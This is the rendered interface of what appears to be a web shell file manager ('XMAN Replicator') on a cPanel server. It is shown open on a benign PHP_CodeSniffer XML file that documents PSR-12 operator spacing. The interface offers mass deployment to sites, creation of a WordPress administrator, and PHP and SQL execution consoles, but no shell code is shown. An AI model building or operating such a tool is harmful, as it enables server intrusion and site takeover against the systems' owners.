🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
squizlabs
/
php_codesniffer
/
src
/
Standards
/
PSR12
/
Docs
/
Operators
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2025-11-04 16:30
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2025-11-04 16:30
🔄
🗑️
🗑️📁
⬇️
🔒
OperatorSpacingStandard.xml
901 B
-rw-r--r--
2025-11-04 16:30
✏️
🔄
🗑️
⬇️
🔒
Edit: OperatorSpacingStandard.xml
<documentation title="Operator Spacing"> <standard> <![CDATA[ All binary and ternary (but not unary) operators MUST be preceded and followed by at least one space. This includes all arithmetic, comparison, assignment, bitwise, logical (excluding ! which is unary), string concatenation, type operators, trait operators (insteadof and as), and the single pipe operator (e.g. ExceptionType1 | ExceptionType2 $e). ]]> </standard> <code_comparison> <code title="Valid: At least 1 space used."> <![CDATA[ if ($a === $b) { $foo = $bar ?? $a ?? $b; } elseif ($a > $b) { $variable = $foo ? 'foo' : 'bar'; } ]]> </code> <code title="Invalid: No spacing used."> <![CDATA[ if ($a===$b) { $foo=$bar??$a??$b; } elseif ($a>$b) { $variable=$foo?'foo':'bar'; } ]]> </code> </code_comparison> </documentation>
Save
PHP Console
Execute
SQL Console
Execute